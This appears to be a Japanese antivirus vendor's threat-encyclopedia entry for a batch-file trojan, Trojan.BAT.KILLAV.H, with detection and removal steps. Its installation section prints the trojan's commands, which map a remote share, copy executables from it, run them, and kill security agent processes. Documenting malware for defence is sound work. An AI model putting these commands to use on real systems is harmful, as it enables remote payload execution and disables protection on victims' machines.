解析者: Jeffrey Francis Bonaobra   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 システムへの影響:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 773 bytes
タイプ BAT
メモリ常駐 なし
発見日 2025年7月25日

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • cd %Public%\
  • net use \{IP Address} /u:{Domain Name}\{User Name} {Password}
  • cmd /c copy \{IP Address}\{Domain Name}\vmtools.exe %Public%\ /y
  • cmd /c copy \{IP Address}\{Domain Name}\log.bat %Public%\log.txt /y
  • start /B cmd /c "%Public%\vmtools.exe 2>nul || exit"
  • timeout /t 5
  • taskkill /f /im tm_netagent.exe
  • taskkill /f /im VOneAgentConsoleTray
  • cmd /c copy \{IP Address}\{Domain Name}\* %Public%\ /y
  • start /B cmd /c "%Public%\{Domain Name}.exe 2>nul || exit"
  • start /B cmd /c "%Public%\{Domain Name}-e.exe b 2>nul || exit"
  • start /B cmd /c "%Public%\{Domain Name}-f.exe 2>nul || exit"
  • cmd /c start %Public%\{Domain Name}.exe
  • cmd /c start %Public%\{Domain Name}-f.exe
  • cmd /c %Public%\{Domain Name}-e.exe b

(註:%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 20.350.03
初回 VSAPI パターンリリース日 2025年7月25日
VSAPI OPR パターンバージョン 20.351.00
VSAPI OPR パターンリリース日 2025年7月26日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.BAT.KILLAV.H」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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